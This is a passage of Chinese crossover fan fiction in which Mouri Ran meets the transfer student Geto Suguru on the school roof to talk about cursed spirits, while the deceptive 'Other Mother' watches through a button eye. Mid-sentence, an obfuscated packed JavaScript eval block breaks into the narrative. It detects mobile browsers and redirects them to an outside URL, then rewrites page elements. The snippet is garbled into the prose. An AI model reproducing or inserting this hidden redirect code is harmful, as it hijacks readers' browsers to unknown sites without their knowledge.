宠物小精灵图鉴卡在哪个年龄段都有不少收藏家,毛利兰班级上的很多学生之间也会互相交换来得到彼此想要的图鉴卡。 而作为大量宠物小精灵图鉴卡的拥有者的夏油杰,很快就凭此在转学来的第一天就融入了班级,并成了学生之间最受欢迎的那个“资深收藏家”。 除此以外,刚转学来的夏油杰还立马收到了帝丹小学校棒球队的邀请,成了帝丹小学校棒球队最年轻的投手队员。 “......要知道其他学生从四年级开始才能报名校棒球队......”铃木园子还在向毛利兰诉说她打听来的有关夏油杰的消息,然后铃木园子就看见从她们课桌旁经过、离开教室的夏油杰在毛利兰的课桌上留下了一张折起来的纸条。 毛利兰拿起纸条准备拆开查看时,铃木园子也凑了上去,她也想要知道纸条里面写了什么,但毛利兰拿着纸条遮遮掩掩地对她说:“这不太好吧?” 偷窥他人的隐私确实不太好,铃木园子被毛利兰说服了。 所以午休时间毛利兰突然说今天就不和她还有工藤新一一起吃便当时,铃木园子果断在继续吃便当和跟踪毛利兰之间选择了后者。 只是这次她和工藤新一撞到了一起。两个人在对方默契的眼神中都选择继续隐藏并沉默观察远处毛利兰和夏油杰的动向。 毛利兰不让铃木园子看纸条上的内容是担心夏油杰写的可能是有关咒灵的事,毕竟除这件事外她和夏油杰目前还没什么交集,在看到纸条写的“午休时间天台见”的时候,毛利兰如约而至了。 帝丹小学的学生楼楼层按年级划分,低年级和高年级的班级依次从一楼到顶楼,所以在背着书包经过高年级楼层时,毛利兰隐隐约约听到高年级学生的议论声中似乎提到了夏油杰的名字。 天台的门通常都是关着的,以前偶尔有高年级学生凭借楼层便利,经常到天台午休、吃便当或者逃课,所以从那之后唯一可以进出天台的门就被锁上了。 毛利兰不知道夏油杰用了什么办法打开天台的门,她猜大概和咒灵有关。所以打开天台门之前,毛利兰从口袋里拿出能让她看见咒灵的眼罩戴上了。 打开门后,毛利兰发现夏油杰已经在天台等她了,毛利兰因此看见夏油杰身边多出来的、除“小苍”以外的另一个咒灵。 另一个咒灵长得很像一头牛,虽然毛利兰只在电视上见过牛,但她感觉眼前这个咒灵的体型应该还没达到成年牛的程度,不过这个咒灵还是比他们这些小学生大不少。 经过夏油杰的介绍,毛利兰得知夏油杰新收服的这个咒灵他给它取名就叫“小牛”,说着夏油杰从背包里倒出一堆黑色的“玻璃球”,问毛利兰是怎么忍受能够吞下这些咒灵球的。 诶? 两个互相之间拥有信息差的人,在这个瞬间才明白昨天他们根本没解释清楚。 夏油杰以为毛利兰拥有和他一样的能力,所以毛利兰才会有一个和他的咒灵一样存在的娃娃,所以他才会在昨天鼓起勇气尝试再吃一个咒灵球,结果差点吐出来后想起可以来问问毛利兰是怎么忍受吞下这么恶心的东西的。 毛利兰这才想起她昨天只是和夏油杰讲解了有关咒灵的事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17033416|194583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,完全没说到她能看见咒灵是因为另一个妈妈。 * 昨天夏油杰和毛利兰约在操场见的时候,毛利兰是戴着眼罩赴约的,所以另一个妈妈透过眼罩夹层里的那个纽扣,也完全了解到了有关夏油杰的情况。 之前另一个妈妈还担心这个咒术师的现身会暴露她的身份,结果原来这是个完全状况外的咒术师,一个甚至不知道咒灵的咒术师。 既然如此,对于这个咒术师的存在就好解决多了,所以在毛利兰向另一个妈妈问及像夏油杰这样能够看见咒灵、攻击咒灵、收服咒灵的人类存在另一个妈妈是否知道时,另一个妈妈再次说谎了。 不过她倒是没有完全说谎,另一个妈妈告诉了毛利兰咒术师的存在,只是在有关她为什么知道、并且为什么之前没有告诉毛利兰的问题上进行了一些模棱两可的处理。 毛利兰到目前为止都很信任她,更何况另一个妈妈要向毛利兰解释的是毛利兰还完全不知道的领域。所以其实无论另一个妈妈说什么,毛利兰都会信。 从另一个妈妈透过娃娃的纽扣眼睛看见夏油杰这个咒术师起,另一个妈妈就知道一直只能呆在房子里的她还是太被动了。 她无法控制毛利兰可能遇到的人,毛利兰能遇到夏油杰这个咒术师,那毛利兰以后肯定也会遇到其他咒术师。 但好在毛利兰先遇到的是夏油杰这个对咒术什么都完全不知道的人,所以另一个妈妈认为与其等其他真正的咒术师来告诉毛利兰像夏油杰这样的人类到底是什么样的存在,不如由另一个妈妈自己和毛利兰解释清楚。 夏油杰见过那个娃娃了,另一个妈妈知道毛利兰也不太会说谎。 完全不透露她的存在,毛利兰无法解释为什么她每次见咒灵时都需要戴着眼罩,毛利兰也无法解释在夏油杰眼里和咒灵一样的娃娃的存在。 另一个妈妈不想毛利兰为难,但让她更放心的是毛利兰先遇到的是夏油杰这样一个对咒灵一知半解的咒术师。 * 毛利兰告诉了夏油杰另一个妈妈的存在。